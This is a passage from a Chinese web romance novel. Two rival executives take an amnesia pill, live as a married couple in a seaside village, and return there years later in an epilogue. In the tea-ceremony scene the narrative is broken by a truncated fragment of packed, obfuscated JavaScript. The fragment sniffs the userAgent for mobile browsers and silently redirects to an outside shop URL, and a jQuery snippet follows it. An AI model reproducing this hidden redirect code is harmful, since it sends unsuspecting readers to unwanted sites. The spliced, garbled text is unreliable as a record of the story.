傅珺瑶很想在这个时候怼他几句,可不知怎的,自己竟一句话都说不出来。 一股复杂的、沉闷的思绪堵在心口,她干脆瞥过眼,不再看男人。 脑海中陡然浮现出那束粉帝王,那束微硬、大气又惹眼的粉帝王,只不过昨天,那几支花都枯萎了,聂秘书还问她要不要扔了。 沈述白应该也不会答应她了。 傅珺瑶搁在大腿的两只手慢慢收紧,浑身肌肉蓄力,想要起身。 还没动作,身侧的男人率先开了口:“你说的那个药靠谱么?来历不明的药我可不吃。” 傅珺瑶心脏一抽,倏然转头,连发丝都在肩脊颤个不停,她下意识对着男人咧唇笑:“你的意思是你答应了?!” 笑意伸出去,她又很快意识到面前的人是谁,赶紧收敛,手掌捏得更紧。 男人双神微闪,忽然清了清嗓,解释:“你说的那些,就算只有万分之一的概率,试一次也没什么,试对了,利益和家族兼得,试错了,也至少还有利益。” 傅珺瑶抿了抿唇,在心底浅笑。 他居然……这么快就想明白了她的意思。 “不过付出这么大的代价,你就不怕把自己玩进去?”沈述白一脸严肃,那颗黑色耳钉没入黑夜,隐隐泛冷光。 傅珺瑶沉默一瞬,没有看他,只稍扬下巴,唇边留出几分弧度:“成功嘛,总是得担点风险的,如果怕,不就干不成事了么?” 沈述白一言不发,直勾勾盯着她,看了很久很久。 - 去往洱南的飞机上,傅珺瑶斜了眼坐在身旁的男人,不满地啧了声:“你是不是偷查了我选座位的信息了?我分开买就是不想跟你坐一块。” 沈述白瘪了瘪唇,轻嗤:“你以为我想跟你坐一块?我随便选的座位,再说了商务舱就这几个位置,选在一起的概率又不是没有,你要是不想坐可以去旁边站着。” “……你怎么不去站?” “我能忍,就算身边坐了个火球,也不影响我舒舒服服坐着。” “你!” 傅珺瑶被堵得语塞,念及舱内还有其他乘客,没再紧抓着不放。 - 两人刚下飞机拿了行李,出来时闻玥已经在门口等着。 “Freya!”闻玥朝着傅珺瑶招手。 “Clara,好久不见!” 傅珺瑶跟人打了招呼,简单介绍过身后跟着的沈述白,两人直接上了闻玥的车。 闻玥知道傅珺瑶不喜欢吃飞机餐,已经提前叫了外卖送到她的小别墅。 她也提前开了冷气,车子在院里停下来,傅珺瑶已经迫不及待去看看她的住处。 透明的玻璃门往里一推,里头清爽的凉气瞬间扑散了外头的大半滚热,大客厅里的装饰规整有序,却又不失随意松散。 “天呐小玥,你这里简直就是我的梦中情房,等我老了我也来洱南买套小别墅,过这种自由自在的生活。”傅珺瑶来回环视,径直走到靠窗的长条桌。 窗外密林幽静,金灿灿的太阳肆意照射,云层争相躲避,露出湛湛蓝天。 身后的沈述白跟着她走到窗边,视线蓦然在她身上停了几秒,又不动声色移开。 闻玥从里间把两支竹音哨拿了出来:“你之后想来我这里随时欢迎。呐,你们俩的东西,我这正好有几块暖玉,我闲来无事,做了两支竹音哨,药丸放在竹节里,是不是很有新意啊?” 闻玥洋洋得意,脸上尽是对自己创意的欣赏和自喜。 “你居然还刻字了?”傅珺瑶接过竹音哨,看到尾端的‘y’,瞳仁轻轻一缩。 “怕弄混嘛,你们俩的剂量不一样。” 闻玥推着他们在长条桌旁边坐下,把桌上的外卖一一拆开来。 “先吃饭,这个药直接咽下去就行,过一天睡一觉才会起效,你们可以现在吃,也能明天回去吃,解药我也快做好了,等后面需要我直接给你们快递过去都行。”她解释。 傅珺瑶很相信她,并没有异议。 沈述白还是问了嘴:“这药没什么副作用吧?对大脑应该不会有什么伤害吧?” 闻玥还没来得及回答,傅珺瑶轻嗤了声:“沈总放心,只要你是个正常人,这药就没有问题,不过也不排除沈总不是正常人。” “……” 闻玥手上动作顿停,抿嘴,暂时没开口。 沈述白打开竹节看了眼里头的药,又侧眸,牙关轻咬:“我是担心傅总,现在这样神气,吃了这药,指不定会被我欺负成什么样。” 这话一出,傅珺瑶像是听到天大的笑话,立马来了劲:“我被你欺负?我这辈子都不可能被你欺负!” “这只是你失忆前的想法,真吃了这药,一切可都说不准,被我摁在手里欺负也不是不可能。” “你放心!我一定会提前在备忘录里写清楚,绝对不会被你压制!” “写清楚了也说不准,你自己都不记得了,况且万一你被我吸引爱上我,啧啧啧……” 傅珺瑶黑眸瞪圆,仿佛听到了什么荒谬言论:“我?爱上你?!沈述白,我这辈子可能爱上任何人,但绝对不可能爱上你!!” 沈述白的话还没出口,闻玥先出来阻止:“怎么吵到这里来了,你们不是为了合作为了利益吗,私人感情什么的还是放在一边好了,我这个只是个稀奇药,不是月老的红线啊。” “坐了那么久飞机也饿了,先吃饭先吃饭。”闻玥催促。 两人狠狠睨了对方一眼,又同时侧头,傅珺瑶冷嗤一声,闷头吃饭。 - 傅珺瑶和沈述白在闻玥那里待到下午,闻玥仔细交代过让他们俩一定得记清楚不要去医院做检查,有不舒服直接找她就成,又说他们如果要解药记得在三天之内联系她,她马上打算进山里去闭关了,如果三天内消息没来就等她出来再说。 最后傅珺瑶没麻烦闻玥,打算和沈述白一起出去叫个车去机场。 闻玥自己也想休息,便由着他们了。 两人并排走在无人的小径上,傅珺瑶捏着竹音哨反复看过。 失忆…… 这药吃下去,她就能重新开始了。 忘掉仇恨,得到利益;忘掉责任和牺牲,得到权力。 这就是她的机会,她梦寐以求的机会! 黑眸中的光点慢慢凝聚,傅珺瑶忍不住弯唇,往前迈的两条腿也变得轻快起来。 “你笑什么?你不会想使什么阴招吧?”身侧的男人陡然开口。 傅珺瑶脚步一乱,斜眼睨他,唇瘪下来:“你有病吧?我还担心你耍心眼呢!” 沈述白“嘁”了声:“我看该担心的是你,谁知道你和你那朋友是不是在诓骗人?” 傅珺瑶彻底停下来,侧身叉腰,狠瞪他眼:“沈述白,你真是脑子有病是不是?我诓骗你有必要把我自己搭进去吧?更何况洱南是你自己要求来的吧,我有逼你吗?!” “那你也没吃药啊,万一回去了只有我吃了,你没吃,那算怎么个事?” 傅珺瑶深凛着眉,直接掰开竹音哨:“反正今天也回去了,大不了一会飞机上不睡好了,现在站在这,我们一起吃!” 沈述白犹疑瞟她眼。 “怎么,不敢了?还担心我诓骗你,我看分明是你想诓骗我!” 这话一激,沈述白毫不犹豫掰开竹音哨,捏着那颗小药丸:“吃就吃!谁怕谁?” 说罢,他直接把药丸送进嘴,就那么吞了下去。 傅珺瑶也不认输,三两下吞入药丸。 两道视线互不相让,短暂交锋后同时别开。 “嘁!” “切!” 傅珺瑶赶快拿出手机,点开备忘录,马不停蹄开始写注意事项。 键盘上刚打下两个字母,眼前突然一黑。 傅珺瑶骤然一慌,自己好像被套进了麻袋,她下意识把手机顺进口袋,两只手开始挣扎。 “谁啊!放开!!” “唔……” 肩颈后面一股强烈的刺痛,她手上的力一软,意识逐渐消了下去。 沈述白也几乎是在同一时间失去意识,大脑瞬时宕机,什么也看不到,什么也感知不到。 不知道过了多久。 也不知道是在哪里。 沈述白大脑一阵剧痛,身体仿佛遭受巨大的冲击,周围一片强压包绕,口鼻内混入大量咸涩的液体,堵得呼吸不畅,肺腔受压。 他试着慢慢睁开眼,眼皮也像是被一股强大的压力往下挤着,只能睁开一条缝,勉强能看清眼前的景象。 沈述白心脏一紧—— 这是……海里?! 他在海里?! 四肢本能扑腾,想要往上游,双臂刚撑开,忽然碰到阻力。 他猛然回头,眉头蹙了蹙。 傅珺瑶四肢无力垂下,晕在了海里。 他游上前,试着拍了她两下。 没有反应。 眉头蹙得更紧。 不行,得先上去,再闷一会他们就直接溺水而亡了。 沈述白毫不犹豫,直接抓紧她的手,两条腿猛力往上蹬。 不要死……不能死…… 他不能死,他还没活够,他还有自己敬爱的家人,还有自己喜欢的事业,他还有没做成的事,他还答应过奶奶给她做小蛋糕,答应过爷爷陪他下围棋,答应过家家爹爹去参观药园,答应过妈妈一起去看画展,答应过爸爸去打高尔夫,答应过哥哥去赛车…… 他又回头看了眼昏过去的女人,两条腿蹬得更猛。 傅珺瑶,你也不能死…… 失忆的药都吃了,合作就是板上钉钉的事了,我们都付出了这么大的代价,绝对不能死…… 傅珺瑶,你不就是想一切归零么,把自己算计进去,如果就这样丢了命,还要怎么算计? 不能死……你不能死! 四肢蹬得酸软乏力,鼻腔内的气压却越来越低,海水的温度也越来越高。 沈述白暗暗松了口气。 游上来了…… 他真的游上来了! 拽着傅珺瑶的那只手臂狠狠发力,转瞬将傅珺瑶顶出海面。 他自己冲出海面的那刻,口鼻大张,里头咸涩的海水尽数吐出来,忍不住大口呼吸。 “傅珺瑶?!傅……” 沈述白还没来得及撑坐起来,身后的海浪往前一打,将他再次淹没。 海潮褪去,一女一男浑身湿漉地昏迷在那里,女人一身深紫色西装,男人一身黑色西装,男人的手紧紧牵握着女人。 辽阔又荒芜的海滩边,海咸味迅速将他们包裹,澄灿的太阳光线也尽数围绕过来。 无声的昏迷状态下,那些尖锐的、锋利的、痛苦的记忆逐渐被海风吹走。 等沈述白再醒来时,他的世界里一片茫然。 觉得自己好像失去了很多东西,忘掉了很多重要的东西。 也忘掉了对他来说很重要的人。 他说不清也道不明。 那到底是个怎样的人? 他们似乎认识了很多很多年,相处了很长时间,长到足以让他的生活始终带着她的影子。 他似乎也很在意她,在意到……不舍得失去她。 他盯着自己的左手。 掌心还有点痛,有点麻。 他听萍姐说了,被发现的时候,他紧紧握着她的手。 “江阔,晴晴刚刚替她换好衣服了,你去看看吧。”萍姐过来叫他。 他拿起桌上的两支竹音哨,跟着萍姐进了房间。 那间房靠近大海,窗户开了一半,他刚踏进去,便看到床上正沉睡的女人。 女人面色略微苍白,一双微蹙的眉目潜藏着若有似无的攻击性,鼻梁高挺,唇型优越,太阳光线一半照在她脸上,半明半暗。 只一瞬,他的心脏莫名被什么东西顶了一下。 手里的竹音哨捏紧,在掌心压出钝痛。 他忽然……好想知道那眼皮下藏着一双怎样的眼睛。 这就是他不舍得失去的女人,是他紧紧抓着不放的女人,是他很在意的女人。 这是……他的妻子。 而他,是她的丈夫。 三天后,沈述白坐在圆桌边,终于听到床上的女人发出动静。 他很快迎上去,只须臾,不偏不倚对上那双他期待已久的、仿若黑曜石的杏眸。 心脏倏然被许多细小的尖针同时刺入,不疼,只又酥又痒,萦绕无数雀跃。 他终于…等到她了,也终于“找到”她了。 他把她抱在怀中,说:“我是你的丈夫,江阔。你是我的妻子,江云。” 88. 番外5 又是一年盛夏。 傅珺瑶和沈述白一起休了年假,去了洱南。 刚下飞机,沈述白的车已经在机场门口候着。 “先去吃个饭?”沈述白上了主驾驶,已经在手机里找着附近的餐厅。 傅珺瑶点点头:“行。” 沈述白找了家洱南的特色餐厅,恰好有百香果酸汤牛肉。 傅珺瑶在飞机上也没吃好,这会闻到熟悉的味道,胃里已经有了反应。 “虽然人家这做的挺正宗的,但我还是觉得你做的更好吃。”傅珺瑶吃了片牛肉,抿过口酸汤,这样评价。 沈述白又帮她盛了碗,眉眼弯弯:“那我可觉得荣幸了,能让你喜欢,也证明我有本事,嗯?” 傅珺瑶咽下嘴里的食物,黑眸停在男人脸上,带着几分若有似无的欣赏,她迎合道:“是是是,沈总啊本事可大着呢,当初把我从海里拉上来,还照顾了我一个多月,旁人可难做到哦?” 虽说知道这言语有几分刻意追捧,但男人依旧被夸的藏不住笑,又夹了几块排骨到她碗里。 旋即义正词严:“这都是作为一个合格老公该做的,傅小姐不用夸奖。” 一顿饭很快清扫了两人坐飞机带来的疲惫感,在餐厅歇了会,两人直奔闻玥那。 这次来洱南,一来是看看闻玥,二来就是打算故地重游,去看看萍姐和江晴。 傅珺瑶提前问过闻玥,她前不久从深山老林出来,又听说她要过来,这段时间都在自己的小别墅里候着。 傅珺瑶从车里拿好了前几天顾清漪去洛杉矶出差带回来的See''sCANDIES的坚果巧克力,她们之前在沃顿留学那会,得空了偶尔会跑到LA去涨见识,闻玥喜欢甜食,巧克力店几乎被她尽数揽下。 穿过幽静的小径,闻玥的别墅门就藏在一排樟树后。 “Freya!”闻玥一身简单素净的家居服过来开门,见到门口来人,眼底闪过一抹亮色:“你们吃过饭了吗?没吃的话自己去吃点,我这没吃的。” 傅珺瑶见惯一笑,把手里的东西给她:“我们吃过了来的,这是清漪前几天出差洛城带回来的坚果巧克力,专门给你带的,好久没吃了吧?” 闻玥拿着那罐白色罐子来回扫扫,嘴边的弧度扬得更深:“你也太够意思了Freya!我喜欢,替我谢谢顾。” “你们快进来吧,我最近新研究不少有趣的东西,快进来看看!” 闻玥往后退了两步,邀两人进门,沈述白简单和她打过照面,和傅珺瑶两人牵手进屋。 走过摆满绿植的院子,正厅里深棕色的木质桌椅和沙发随意摆放,靠近落地窗的躺椅上还有散乱的薄毯,未合的书倒扣在搁脚的小凳上。晾着茶的长条桌上支着盏暖黄灯,天花板正中一顶简单的圆形顶灯,除此之外再无其他装饰。 闻玥直接进了里间拿东西,随意丢下句:“茶是我刚泡好的,你们自己倒啊,杯子都是干净的。” 傅珺瑶和沈述白相视一眼,自觉在长条桌旁边坐下来。 茶壶里泡的是醇香的大红袍。 里间“咔嗒”一声响,闻玥已经出来,只不过怀里……抱着一个中小型的模具。 “这是什么?”傅珺瑶好奇问。 面前的模具捏出和人一样的五官面目,头上还戴着顶假发,只是神情稍微空洞。 “我自己做的小型机器人,怎么样?” “机器人?”傅珺瑶微微瞪眸。 她知道闻玥是个横跨多领域的人才,可没想到她自己能做出机器人来。 闻玥得意扬起下巴,把机器人放在长条桌,轻唤:“Aurora。” 很快,机器人应声:“嗨Clara!我们又见面了!” “今天来了两个新朋友,Freya和沈,快跟人打招呼。” “嗨Freya、沈,我是Aurora,是Clara最可靠的伙伴。” 傅珺瑶也是头一次见,新奇地捂着唇笑笑,伸手晃了晃沈述白的胳膊,稍稍不可思议道:“小玥你也太全能了,机器人都能自己做?” 又转头朝沈述白调侃:“沈总,你们团队很缺一个闻玥啊?” 沈述白自然而然笼住傅珺瑶的手,接话:“是啊,不如我花重金把闻小姐这颗好苗子挖到淮北去如何?” “别别别,”闻玥眼角笑意未退,摊手拒绝:“我呢也不缺钱,这辈子最大的愿望啊就是在这里隐居,我也不比二位志向远大,就想当个无拘无束的山间闲人,你们偶尔过来,我肯定欢迎,不过要我去都市还是算了。” 闻玥给两人续了茶水,瞟向两人左手的蜂巢戒指,低笑:“Freya,当初你和沈在我这吵得那么厉害,现在居然成了一家人,我倒是无心给你俩牵了红线。” 话顿两秒,又面朝沈述白:“不过沈也算是挺有福气,当初在沃顿追求Freya的帅哥可多了,什么年上沉稳、年下狼狗、嬉皮摇滚、内敛书生应有尽有,我记得还有几个特风趣高智的姐姐跟Freya表白。” 沈述白目光一怔,呆愣愣望向身边人。 傅珺瑶对着闻玥晃了晃手:“别提别提,这都是往事了。” 闻玥视线无声从沈述白身上移回来,笑的满脸无辜:“的确是往事,我只是想说你能选择沈真是挺不容易的,这种机会如果不好好珍惜的话,也随时能被其他人取代。” 明晃晃的言外之意,大家都是聪明人,不会听不懂。 傅珺瑶刚想开口,沈述白却先了她一步:“闻小姐的意思我明白,我也是好不容易才在珺珺这里得了名分,这种机会再不好好珍惜,不仅是愧对珺珺,更是愧对我自己了。而且我前段时间还和珺珺谈到,等五十年后,我们也和你一样,来过过隐居生活。” 闻玥关了Aurora,再次给两人续茶水,又主动提杯:“那就……等待我们的五十年后。” 傅珺瑶和沈述白泰然扬唇,和闻玥碰了杯。 “等待五十年后!” - 两人在闻玥那待到近黄昏,也没再耽搁,直接去了萍姐那。 车上傅珺瑶跟沈述白好一顿输出自己在沃顿读书期间被不少人追的事,几乎交代完全。 “其实也还好啦,我那会只想多学点东西,大家都是同学、朋友,而且他们心态挺好的,拒绝了大家也还是正常的同学、朋友。” “至于追我的人类型很多,这也正常啊,那边文化确实要开放一点,多元又包容,再说了人要是都一个类型得多无趣?而且我也算是个很优秀的女人好吧?有人追不是也正常?” 傅珺瑶是觉得,人和人之间只要有交集,新鲜感就很容易产生,有的人跟随荷尔蒙的分泌快速上头激情追逐,有的人先暂时观察一段时间,等看到自己喜欢的点之后再决定上前接近,这都是再正常不过的事。 喜欢就在一起,不感兴趣也没多大事,没必要把被很多人追这事当个荣耀,也没必要当耻辱。 “不是不正常,就是有点意外。”沈述白如实回答,他也是头一回知道。 从和闻玥聊的那些话看来,傅珺瑶的留学生活应该也算有趣,他好想切身参与到那个时候。 傅珺瑶摸了摸下巴,又点点头:“反正路程还有一会,我再跟你分享我留学那会其他的意外如何?这样你就不会觉得意外了。” 沈述白嗯哼一声:“洗耳恭听。” 夕阳斜下,陌生的车辆驶入狭窄的小道,引得两边的村民频频注目。 傅珺瑶坐在车里望着眼前没怎么变的一切,不知怎的,眼眶有些发热。 当初,这里是她最放松、最无忧无虑的地方。 她在这里有了一阵最纯粹的、只属于她的光阴,遇到了最淳朴的萍姐和江晴、江醇,也在这里得到了她的爱情。 脑海中瞬间回忆起很多画面: 她在木板床上醒来,鼻腔里绕着淡淡的海咸味,耳边荡着舒缓的海浪声,皮肤被金澄澄的阳光照射,视线聚焦,她看到了那个坐在桌边,眉眼温柔的男人。 她身受重伤不能下床,那个热情的女人端着喷香的饭菜送到她床前,毫无阻隔地跟她说笑聊天。 那个单纯的女孩坐在院子里情绪失控,真相解开后又满眼轻松,热心地邀请她去喝三道茶。 傅珺瑶眸珠轻动,头偏向一侧,等着视野内出现那张熟悉的招牌。 江萍饭馆。 沈述白在街边停好车,两人去了后备箱拿备好的礼物。 东西刚拿好,两人脚还没迈出去,身后一道熟悉的、声调稍微上抬的女声率先闯入:“江云、江阔?!” 傅珺瑶和沈述白同时回头,不偏不倚撞上江晴的目光,还有她身后跟着的江醇。 “真的是你们啊?!我刚刚听桂婶说来了辆豪车,还往我妈这来了,我还寻思是谁呢!” 隔了这么久没见,江晴也半点没有疏离感,自然而然搭过傅珺瑶的手腕,眉眼张扬舒展开,笑意兴冲冲的从眸中溢出。 久别重逢,再见到江晴,傅珺瑶心底也涌上说不出来的亲切,她望了眼沈述白,朝着江晴轻点下巴:“好久不见了江晴,我们这次就是特地回来看你和萍姐的,还有江醇。” 话说一半,她又对着旁侧的江醇颔首。 “好久不见。”沈述白开口。 江醇礼貌回应过,江晴的视线跟着转移到沈述白身上,恍然想起什么,颊侧的笑意忽然僵凝,嘴角迅速往内收敛,眸珠反复扫过两人之后,试探性开口:“江云、江阔,你们俩……” 后面的话停在半道,久久难说出口。 傅珺瑶明白她的意思,主动牵过沈述白的手,亮在江晴面前,大大方方道:“我们已经结婚了,当初的事是个误会,现在都解决了。” 江晴猛然一愣,旋即脸上的笑终于肆无忌惮绽开,暗松了口气,也没追问:“真的!那可得恭喜你们了!” “那咱们也别站在门口了,进去坐!”江晴干脆挽上傅珺瑶的胳膊,又朝里喊:“妈,你快出来看看,江云和江阔他们回来了!” 四个人前前后后才踏进饭馆,正坐在前台休息的萍姐即刻起身,视线堪堪对准进门的傅珺瑶和沈述白。 女人眼瞳一缩,唇角微张,没一会,弧度压制不住的外扩,推着苹果肌上抬,连带着眼角也挤出细细皱纹,揉杂了难以言说的诧异和亲切。 “小云、江阔?!”女人高亢的嗓音亮起,精准的投入傅珺瑶的心湖,荡起不小的水花。 她目光直直,眼底的热意加重,她把手里的东西递给沈述白,主动扬臂抱住萍姐,柔和欣喜的声音里拖了几分不易察觉的哽咽:“萍姐,好久不见了。” 温暖的掌心结结实实落在背脊,萍姐又惊又喜:“好好好,好久不见,也真是好久没见你们了。” 两人抱着好一会才松开,沈述白及时上前,把手里的东西递上来。 “萍姐,这是我们带的一点淮北的特产,还有一些小礼物,希望你们喜欢。” 这次来之前,傅珺瑶和沈述白特地去了趟新开的几家特产店,挑了些他们觉得味道不错的食物,又顺手给萍姐和江晴她们买了点小首饰当礼物。 萍姐脸上喜色半分未退,眉眼挤在一块,嘴角大大方方外扩,连双肩都笑的微微颤抖。 “你们来就来,还带什么东西嘛,来,先来坐下!” 江晴和江醇帮着收了东西,这会店里也清闲,几人围在餐桌旁坐下,一阵畅聊。 两人手上的戒指一露,大家都心知肚明,没再多问,只有几道发自内心的贺喜。 傅珺瑶也得知,他们离开之后没多久,江晴和江醇的婚礼如期举行,很简单的仪式,只有亲人朋友见证,对他们而言却是最满意的幸福。 至于萍姐和江谦,两人只恢复恋人关系,不谈婚论嫁,萍姐是觉得人生过半,没必要再约束自己,谈到哪里算哪里,江谦别无二话,答应了萍姐,偶尔他会过来给萍姐帮忙,偶尔在这里住下、陪着萍姐。 江晴和江醇大部分时间住在工作室,偶尔江谦不在的时候她会回来陪母亲。 日子过得悠闲自在,也算是无拘无束。 “真好,好在你们没出什么大事,现在也恢复了记忆,又结了婚,以后啊想回来就回来,我这随时欢迎你们!”萍姐拍了拍傅珺瑶的手。 “一定。” “是啊江云,你都不知道,当时你们走了,我妈还一直跟我念叨你们,觉得是她说错了话,一直对你们心存愧疚,还总是想念你们住在这里的日子,现在知道你们一切都好,她也能真的放心了。”江晴往母亲身边靠近了些,主动搭上母亲的肩。 傅珺瑶敛眉笑笑:“那都是过去的事了,萍姐,我们现在一切都好,您没有什么愧对我们的。” “而且当初如果不是您,我想我们也不会有坐在这里的机会了,您是我们的救命恩人,也是我们的月老。”沈述白补充。 萍姐被两人说的眼冒泪光,声音哽咽:“好、好好!” “你们没在外边订酒店吧?这几天就住你们原来的房间呗?”江晴问。 傅珺瑶和沈述白原本是打算去外边订酒店的,怕打扰到她们,只是这会话都递上来,两人也没拒绝。 四目短暂相视,两人同时点头:“好!” - 傅珺瑶和沈述白远客到访,萍姐晚上暂停营业,只叫来江谦,大家围在一块好好吃个饭。 晚餐是沈述白和江醇帮着萍姐一起做的,沈述白做了那道他最拿手的百香果酸汤牛肉。 整顿饭其乐融融,每个人都吃的尽兴。 夜色渐深。 江晴和江醇回了工作室,萍姐和江谦也歇下了。 傅珺瑶和沈述白洗漱完,回到了那间他们再熟悉不过都屋子。 长方敦实的硬板床、中央支着的大圆桌、四四方方的衣柜、床头仍然摆在那里的几本书。 最扯人心弦的,还是床边那扇窗外,时不时涌进来的海浪声以及飘散的海咸味。 傅珺瑶等不及上了床,却没急着躺下,和沈述白靠在窗边,望着不远处已经黑黝黝的大海。 月光倾临,给深黑的海面披了层银色的薄纱,海浪裹挟着银色翻涌,一阵接着一阵,永不停歇。 “老公。”傅珺瑶突然唤。 “嗯?” 傅珺瑶嘴角忽然咧开笑,她摇摇头,凝了沈述白一眼,目光又挪向遥远无边际的海面。 “我只是突然想到,当初我们在这个房间里说过的那些话,都被我们成功做到了。” 当初在这个房间里,在这张床上,他们抱在一块,沈述白问她,想成为一个怎样的人。 她说:“想做个开心的人,希望我的生命鲜活而非一成不变,希望我自由,希望我热爱我的生活和事业,爱我想爱的人。” 他说:“想做个温柔细心、有耐心、认真负责、爱干净的人,能做自己喜欢的事,有份喜欢的事业,最重要的是,能爱你多一点。” 其实不管发生了什么事,他们的底色从未变过。 自由、鲜活、热爱,这是他们两个人都追求的东西。 也幸得这种相似的目标和类似的底色,他们才能轻易产生共鸣、互相理解。 沈述白很快回想起她指的是什么,他盘起腿,往她身边挪近了些,两只手掌前伸,牢牢抓握住她的手。 胸腔轻动,鼻腔溢出声浅哼,他笑着问:“那现在呢?现在,你想成为一个怎样的人?” 傅珺瑶收回眺向远处的目光,稳稳落在眼前的、熟悉的那片海域。 那是一片有着独一无二的温柔的、能轻易消解她负面情绪的、独属于她的琥珀海。 傅珺瑶不自觉潋弯眉眼,两手主动抓紧他,语气坚定又坦然:“现在,现在我想做傅珺瑶,独一无二的傅珺瑶。” 话音落下,她又歪了歪头,反问男人:“你呢?现在的你,又想成为一个怎样的人呢?” 男人又挪近了些,长睫轻扇,搅动着那片海域柔和的浪潮无限翻滚,就连黑色耳钉也忍不住闪光。 他沉和的嗓音在屋子里隐隐回荡:“现在…我想做沈述白,唯一站在傅珺瑶身边的沈述白。” 傅珺瑶毫不掩饰脸色,放声笑出来,双臂前伸,顺势圈住男人的腰身,偏头望着黑夜中那轮皎洁明月:“那就祝我们,继续成为我们想成为的人。” 男人收紧臂弯,托着她的腰,掌心贴在她的下颌:“那我也祝我们,一直都是我们想成为的模样。” 潮涨潮落,月朗星稀,屋子里的灯终于熄了,傅珺瑶睡在里侧,头严实枕在沈述白的胳膊,安稳睡去。 - 隔天一早,傅珺瑶和沈述白去了江晴和江醇的工作室,喝上了之前被遗漏的三道茶。 江醇端着熟悉的九宫格过来,面前长桌上的围炉正沸着水。 江醇站在桌边做,傅珺瑶和沈述白并排坐,江晴再次当起了解说。 第一道苦茶用的还是当地村民自己种的绿茶,放进滚热的砂罐里干焙,等待绿茶叶焦黄,沸水滚入泡开,透亮黄澄澄的茶汤颜色相当悦目,茶香浓郁。 沈述白喜欢绿茶的口感,这苦味在他品来倒也没什么。 傅珺瑶仍然被苦得眉头轻蹙,又瞟向身侧的男人:“如何?” 沈述白满意点点头:“这茶叶口感挺不错的,江晴,你们这有卖的吗?我想买些带回去。” 江晴泰然一笑,大手扬挥:“我们家里好多呢,一会给你们拿几罐。” 第二道茶循着第一道前边的工序走过,江醇又取了九宫格里置好的红糖、桂皮和乳扇,一一放入茶里。 这道是傅珺瑶喜欢的味道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393651|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 微涩的茶汤裹着醇和的香甜入喉,带走了喝第一道时留下的苦涩,甚至一直返着余甜。 “你最喜欢这道?”沈述白抿过茶,转头看向身侧的女人。 傅珺瑶弯唇一笑,却转瞬摇头:“我最喜欢下一道。” 她说这话时,江醇已经在往茶里加蜂蜜、炒米花、几粒花椒、核桃仁。 茶不满杯,只装六七分。 沈述白细细端着茶面浮满的炒米花,呵呵笑出声:“这跟西北那边的茶做法倒是有点像。” “你去过西北?”傅珺瑶没听他提过。 沈述白点头,是大学那会跟室友去西北的大沙漠种树,偶然在那边尝到特色的茶水,和这第三道茶相像。 两人同时端起茶杯,酸甜苦辣丰富的口感在舌尖交织,沈述白那双原本平和的深褐色眸陡然缩了缩,而后又恍然一笑:“我终于知道…你为什么喜欢第三道了。” 傅珺瑶嚼完嘴里的米花,黑眸不偏不倚对上他,门外的太阳不知什么时候移了位,耀眼的光线逐进来,驱散了屋子里的大半阴影,那颗黑色耳钉趁此沾了几分光,隐隐透出光辉。 眸光凝聚相对,不长不短的交汇后,两人又同时移开视线。 傅珺瑶什么话都没说,什么话都不用说。 喝完三道茶,他们在工作室坐了会,和江晴、江醇闲聊了会儿。 临近中午,日头正盛,傅珺瑶和沈述白想去海边走走。 江晴和江醇走不开,也不强留。 沿着那条直通大海的小路,傅珺瑶牵着沈述白的手,缓步往前走。 眼前那片金蓝闪烁的海浪迫不及待撞上来,带着燥热微凉的风拂在脸上。 傅珺瑶嘴角忍不住往上扯了扯,和男人十指相扣的手掌心已经濡出了汗,只不过和当初一样,她仍然不舍得松开。 过往熟悉的画面肆无忌惮地冲进脑海,来回放映,牵动的她嘴角完全收不回来。 熟悉的地方、熟悉的沙滩、熟悉的海浪、熟悉的艳阳,身侧站着的,还是熟悉的人。 一切好像都变了,却又仿佛一切从未变过。 她和沈述白的的确确是傅珺瑶和沈述白,可他们一样是江云和江阔,是萍姐口中那对恩爱的夫妻。 临近海滩,几乎再看不到人。 这个点,大家伙都在忙着活计,不会来这边。 两人转了方向,想往里走,直奔那棵孤独的树。 柔软的沙砾在脚下咯吱咯吱轻响,沈述白蓦然开口:“甜酸苦辣,似乎…确实很像我们这一路。” 傅珺瑶晃然一怔,脚步一不小心乱了调,又着急忙慌地调整回来。 连着吸进来的几口气凝在肺腔片刻,傅珺瑶眸珠微转,眉头一松,畅快把气呼出来,笑道:“是吗?沈总不如具体说说?” 明晃晃的考验摆在眼前,沈述白如果还接不住,可真就成了傻子。 他松了她的手,扬臂揽入她的肩,语气平缓,带着她最熟悉的温柔:“当初失忆醒来,我们在这里以夫妻的名义相依为命,慢慢对彼此动情,能够逐渐卸下防备,谈人生、想过去、聊未来,每一步里都有对方,无忧无虑,这或许就是相对纯粹的甜了。” 傅珺瑶侧眸瞧他一眼,嘴边的弧度扬深。 他再继续:“不过到我修好手机,大哥来了之后,我们得知真实身份,别无选择,内外受压,匆忙分开,那个时候,我们谁都不好受,酸味压过甜。” 傅珺瑶又一次回想到那个下午,那个……“阴霾密布”、“浓云大雨”的下午。 嘴边的弧度收回来了些。 “再后来回到淮北,我们用有着在洱南这段时间的记忆和被人告知的世仇身份去面对彼此,想爱不能爱,没办法在一起,也算是都尝过一回爱情的苦。” 傅珺瑶抿起嘴,脚步也停下。 沈述白顺势低眉,手臂收紧,另一只手也勾住她的腰。 他弯唇:“可最后,这一切迎刃而解,我们切切实实被这辣味痛过一回,又烦恼尽消。” 傅珺瑶眼眸微瞪,恨不能将他整个人都吸入瞳中。 沈述白低头,迅速在她唇上啄了一下:“有幸在30岁之前就把这甜酸苦辣全感受一回,咱们也算是……不负此生了。” 他的唇很烫,只轻轻一下便烫到她心口,氲得她眼带雾气。 她望着男人不说话,也说不出话。 男人像是看懂了她的情绪,双臂一松,很快又收紧,将她牢牢扣在怀中。 “珺珺,我那个时候没陪你喝过的三道茶,总算在今天补上了。其实什么甜酸苦辣都不重要,重要的是你和我,我们的未来还长着,我们还不到30岁,我们的人生还有数不尽的风光,不管是什么滋味,都是我们一起感受、一起度过,只要回首时,我们还牵着彼此的手,那一切都是值得的。” 他的声音从头顶、从耳侧、从他的胸口尽数落进她心底,连带着他有力的心跳也一起撞入。 